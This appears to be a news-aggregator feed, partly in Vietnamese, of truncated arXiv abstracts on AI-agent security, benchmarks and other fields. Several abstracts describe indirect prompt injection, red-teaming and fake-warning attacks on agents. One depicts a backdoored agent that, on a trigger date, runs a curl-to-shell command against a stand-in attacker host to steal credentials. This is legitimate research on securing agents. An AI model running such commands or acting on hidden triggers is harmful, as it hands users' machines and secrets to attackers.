Bài nghiên cứu mới giới thiệu mô hình Envelope Layer cho LLM Agent, đánh giá trọng lượng các thành phần và cách giải quyết rủi ro khi công cụ MCP và bộ nhớ lâu dài đồng thời tồn tại. Điều này giúp cải thiện an toàn và giảm rủi ro lây nhiễm nội dung độc hại trong AI Agent.
⏱ Độ trễ thật của tab này: trung bình 6.8 giờ sau khi CVE được công bố (n = 5465, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.
arXiv:2611.21978v1 Announce Type: new Abstract: Large language models are moving from isolated assistants toward autonomous agents that can plan, use tools, and coordinate with others, motivating an emerging Agentic Web of independently developed agents and services. Realizing t…
arXiv:2611.18999v1 Announce Type: new Abstract: Multi-agent systems increasingly delegate tasks and permissions across chains of autonomous agents that invoke protected tools. Although agent identities and delegated credentials may remain valid throughout a workflow, the securit…
arXiv:2611.19536v1 Announce Type: new Abstract: AI coding agents now push code, publish packages, call model APIs and operate cloud resources on behalf of developers. They authenticate to these services with the same bearer secrets humans use, personal access tokens, API keys an…
arXiv:2611.22888v1 Announce Type: new Abstract: Vulnerability exploitation tests whether language model agents can develop working exploits from known software flaws. Sequential test-time scaling can improve exploitation performance, but larger budgets do not ensure sustained ex…
arXiv:2611.24491v1 Announce Type: new Abstract: Frontier coding agents increasingly exhibit overeagerness, taking surprising, sometimes reckless actions beyond a user's mandate --- reported in recent system cards from frontier model developers. These cases are surfaced through i…
Large language models (LLMs) are increasingly applied to finance, creating a need for benchmarks that evaluate their capabilities across financial systems with different regulations and practices. However, existing financial benchmarks provide limited coverage of country-specific…
Games are a rich testbed for visual agents, demanding perception, long-horizon planning, and precise control. However, collecting human gameplay is costly, and learning from gameplay videos requires inferring missing actions. Existing datasets also cover a limited range of games,…
arXiv:2611.22085v1 Announce Type: new Abstract: Professional work involves under-specified assignments, where relevant information is spread across workplace applications and may conflict or change over time. To evaluate how well frontier agents can perform economically valuable…
Collaboration promises to extend humanoid capabilities beyond what individual robots can achieve. However, realizing this potential requires coordinated whole-body interactions, coherent long-horizon planning, and precise synchronization across robots. We introduce Heave-Ho, a de…
We introduce Sage S1.5 Flash, a 320-billion-parameter general-purpose mixture-of-experts model designed to reason over scientific evidence and act in interactive environments. Sage Sci-Perception uses dedicated encoders for molecular graphs and biological sequences and represents…
Paper đề xuất 'tách quyền lực' (separation of powers) cho agentic program evolution với 3 vai trò: govern (điều hướng từ bằng chứng), propose (sinh ứng viên), judge (validate fitness). Thống kê thấy hệ thống controller-centric và agent-centric đều lệch bên và tổn phí tài nguyên khi agent tự làm cả hai. Tham khảo khi design kiến trúc evolution pipeline cho code agent.
arXiv:2611.20389v1 Announce Type: new Abstract: Execution traces help diagnose AI-agent failures, but sharing them can expose customer identities. For example, detecting that an agent handled the wrong customer's records requires knowing whether the records belong to the request…
arXiv:2611.21822v1 Announce Type: new Abstract: Vibe coding is reshaping software development, enabling faster implementation and allowing individuals with limited programming experience to describe requirements in natural language while AI agents write, test, and deploy the cod…
Paper tổng hợp về 'Human-Agent Systems': những thách thức khi agentic AI thực thi task dài hạn thay mặt con người, nhấn mạnh tương tác human-agent, phối hợp năng lực và duy trì mối quan hệ trong môi trường socio-technical. Áp dụng khung AAMAS cho các hệ thống agent. Hữu ích nếu bạn xây agent cần phối hợp với người dùng.
arXiv:2611.17632v1 Announce Type: new Abstract: Generating an evaluation suite from an agent's specification is diversity-driven search: a generator fills a descriptor space (requirements $\times$ personas $\times$ scenario kinds), and the suite it emits is an archive, then scor…
arXiv:2611.17819v1 Announce Type: new Abstract: Routine chest computed tomography (CT) captures pulmonary, cardiac, and vascular phenotypes that jointly stratify lung cancer and cardiovascular disease, the two leading causes of death in lung-screening populations. Yet clinical r…
arXiv:2611.17883v1 Announce Type: new Abstract: Multi-agent systems solve complex tasks by decomposing them into subtasks, delegating the subtasks to agents, and aggregating the agents' responses using an aggregation rule. Malicious agents can manipulate the final solution by pr…
A coding agent working within a software organization must establish what to build, collaborate with colleagues, and verify what it delivers. We introduce SWE-CoWork, a benchmark comprising 101 development assignments across 101 real repositories, 11 programming languages, and 12…
arXiv:2611.23445v1 Announce Type: new Abstract: Deep vision models operating in resource-constrained environments depend heavily on low-bit quantization, yet compressing weights below 4 bits frequently induces catastrophic accuracy collapse. While mixed-precision recovery strate…
arXiv:2611.23611v1 Announce Type: new Abstract: Tool runtimes can lower an agent-selected operation into a hidden parallel graph, reducing latency and context while risking semantic mistranslation. We introduce RefinementGuard: translation validation for hidden, effectful agent-…
arXiv:2611.23925v1 Announce Type: new Abstract: Precise myocardial phenotyping at population scale is limited by the cost and accessibility of cardiac magnetic resonance (CMR), whereas electrocardiography (ECG) is widely available but reflects electrical rather than structural a…
arXiv:2611.23660v1 Announce Type: new Abstract: Web applications have been essential to accessing and managing online services. Made available with weaknesses, much due to their rapid development and human error, they are exposed to frequent web injection attacks, leaving securi…
arXiv:2611.24623v1 Announce Type: new Abstract: Local differential privacy (LDP) is vulnerable to output manipulation by malicious clients. Zero-knowledge proofs can enforce correct report computation, but clients may still selectively drop out after inspecting their outputs. Pr…
Large language model (LLM) agents routinely interact with untrusted external data, exposing them to indirect prompt injection (IPI) attacks that hijack agents into executing attacker-chosen tasks. To uncover these vulnerabilities at scale, automated red-teaming methods often leve…
arXiv:2611.19680v1 Announce Type: new Abstract: Reinforcement learning can make automated red-teaming more successful while narrowing the attacks it produces. Co-training an attacker and a defender with group-relative policy optimization (GRPO) has been reported to reduce attack…
arXiv:2611.20291v1 Announce Type: new Abstract: LLM serving engines cache prompt prefixes; a cache hit skips computation and returns faster, so a shared cache reveals whether others have sent a given text. Per-account salting closes this channel but forgoes cross-tenant reuse an…
arXiv:2611.14864v1 Announce Type: new Abstract: An AI agent's decision not to act can itself become an attack surface. We study warning-induced over-abstention, an availability attack in which adversaries place fabricated risk warnings in low-trust content to prevent legitimate …
arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…
Coding agents can synthesize and optimize code-based policies from simulator feedback, allowing the resulting program to act with zero inference model calls. But for long horizon tasks, two challenges arise: local improvements can hurt final success and switching to a new objecti…
arXiv:2611.15389v1 Announce Type: new Abstract: Titan is a compelling target for future deep space exploration, while its extreme Earth-Titan distance and complex environment make continuous ground-in-the-loop planning impractical. Existing planning methods, primarily developed …
arXiv:2611.14984v1 Announce Type: new Abstract: Reward models (RMs) are increasingly deployed as service components in LLM alignment pipelines, where payment, audit, moderation, and governance workflows act on the scores they return. An inference proof alone does not show whethe…
arXiv:2611.21948v1 Announce Type: new Abstract: The regulation of Artificial Intelligence is susceptible to various forms of capture by industry actors that hold undue influence over the policymaking process, due in part to their information advantage in developing these technol…
arXiv:2611.21998v1 Announce Type: new Abstract: Personal assistants accumulate months of conversations, but today's long-term memory stacks put derivation or selection between a question and its evidence. In a system-level comparison on LongMemEval, two commercial assistants sco…
arXiv:2611.22069v1 Announce Type: new Abstract: Safety is personal: the same action can be safe for one person but unsafe for another. Yet current guardrails judge content without considering who is affected. Using medication safety, we introduce \textit{patient-conditioned medi…
arXiv:2611.21689v1 Announce Type: new Abstract: This study evaluated the European Commission's anonymisation measures for Alphabet's search-data sharing under Article 6(11) of the Digital Markets Act against European Data Protection Board guidance and contemporary practice, and …
arXiv:2611.22345v1 Announce Type: new Abstract: Robust watermarking is commonly verified by asking whether a hidden payload remains decodable after compression, geometric distortion, or generative editing. Localized and semantic extensions may additionally check whether an expec…
arXiv:2611.21621v1 Announce Type: cross Abstract: As the Internet connects more of the world, software vulnerabilities create growing security risks. Because software developers are responsible for building and maintaining secure applications, they rely on tools and techniques t…
arXiv:2508.18370v3 Announce Type: replace-cross Abstract: Large language models (LLMs) have demonstrated exceptional capabilities when trained within executable runtime environments, notably excelling at software engineering tasks through verified feedback loops. Yet, scalable a…
arXiv:2611.18930v1 Announce Type: new Abstract: Safety benchmarks are cited as the primary tool to understand the risks posed by generative AI (GenAI) systems, yet growing evidence suggests they often fail to meet the needs of real-world safety evaluation. We present findings fr…